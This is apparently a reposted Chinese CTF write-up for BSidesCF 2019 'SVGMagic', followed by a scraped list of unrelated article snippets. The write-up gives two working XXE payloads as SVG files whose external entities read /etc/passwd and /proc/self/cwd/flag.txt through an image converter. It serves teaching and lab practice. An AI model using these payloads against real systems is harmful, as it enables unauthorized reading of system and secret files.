[BSidesCF 2019]SVGMagic

news/2024/11/18 15:39:37/

打开题目

给了提示,使用魔法将svg转换成png,搜索了一下svg

是一种XML标记语言,既然是XML,就可能存在XXE漏洞

构造一个XML外部实体注入(XXE)攻击,尝试一下

<!ENTITY file SYSTEM "file:///etc/passwd" > 定义一个外部实体 file任意文件读取,读取/etc/passwd用户配置文件

在SVG部分中,&file; 通过文本引用该实体,试图将文件的内容嵌入到SVG输出中。

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE note [

<!ENTITY file SYSTEM "file:///etc/passwd" >

]>

<svg height="300" width="300">

  <text x="30" y="30">&file;</text>

</svg>

上传发现可以正常读取

然后构造读取flag

/proc 文件系统:它是一个虚拟文件系统,提供了运行时系统信息,如进程信息、内存状态、系统配置等。

/proc/self:它是指当前正在访问该路径的进程自身。无论哪个进程访问 /proc/self,它总是指向调用者进程的 /proc/[pid] 目录。

cwd:代表“current working directory”(当前工作目录)。当你访问 /proc/self/cwd/ 时,你实际上是在查看当前进程的工作目录。

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE note [

<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >

]>

<svg height="300" width="3000">

  <text x="30" y="30">&file;</text>

</svg>

上传得到flag


http://www.ppmy.cn/news/1548019.html

相关文章

IPv6 NDP 记录

NDP&#xff08;Neighbor Discovery Protocol&#xff0c;邻居发现协议&#xff09; 是 IPv6 的一个关键协议&#xff0c;它组合了 IPv4 中的 ARP、ICMP 路由器发现和 ICMP 重定向等协议&#xff0c;并对它们作出了改进。该协议使用 ICMPv6 协议实现&#xff0c;作为 IPv6 的基…

后台运行docker compose项目,一直失败,提示:Timeout exceeded while awaiting headers?让我来看看~

最近做实验&#xff0c;后台运行docker compose 项目的时候&#xff0c;一直做不下去&#xff0c;卡了好几天。提示是这样的&#xff1a; Get "https://registry-1.docker.io/v2/": net/http: reguest canceled while waiting for connection (client.Timeout exceed…

Python 第三方库 PyQt5 的安装

目录 前言 PyQt5安装 不同操作系统PyQt5安装 一、Windows 系统 二、macOS 系统 三、Linux 系统&#xff08;以 Ubuntu 为例&#xff09; 安装 PyQt5 可能会遇到的问题 一、环境相关问题 二、依赖问题 三、网络问题 四、安装工具问题 五、运行时问题 六、环境配置问…

单电源运放

我们经常看到很多非常经典的运算放大器应用图集&#xff0c;但是他们都建立在双电源的基 础上&#xff0c;很多时候&#xff0c;电路的设计者必须用单电源供电&#xff0c;但是他们不知道该如何将双电源 的电路转换成单电源电路。 在设计单电源电路时需要比双电源电路更加小…

大语言模型的算力共享体系中,Reduce、LayerNorm和Broadcast操作

目录 大语言模型的算力共享体系中,Reduce、LayerNorm和Broadcast操作 示例说明 1. 前向传播与梯度计算 2. All-Reduce操作(包含Reduce和Broadcast-like阶段) 3. LayerNorm的应用 示例中的顺序 结论 大语言模型的算力共享体系中,Reduce、LayerNorm和Broadcast操作 在…

计算机的错误计算(一百五十七)

摘要 探讨 MATLAB 中多项式的计算误差。 例1. 已知 计算 与 直接贴图吧&#xff1a; 另外&#xff0c;两个多项式的准确值分别为 7.13 与 4&#xff08;ISRealsoft 提供&#xff09;。这样&#xff0c;MATLAB 的输出均是错误的。 注&#xff1a;可参考计算机的错误计算&am…

Vben-Admin index.js 硬编码漏洞

0x01 产品描述: ‌Vben Admin‌是一个基于Vue3.0、

GIT将源码推送新分支

1. 创建并切换到新分支 首先&#xff0c;确保你在本地创建了一个新的分支并切换到该分支&#xff1a; git checkout -b new-branch-namenew-branch-name 是你要创建的新分支名称&#xff0c;替换为你需要的名称即可。 2. 确保所有更改已提交 在推送之前&#xff0c;确保你的…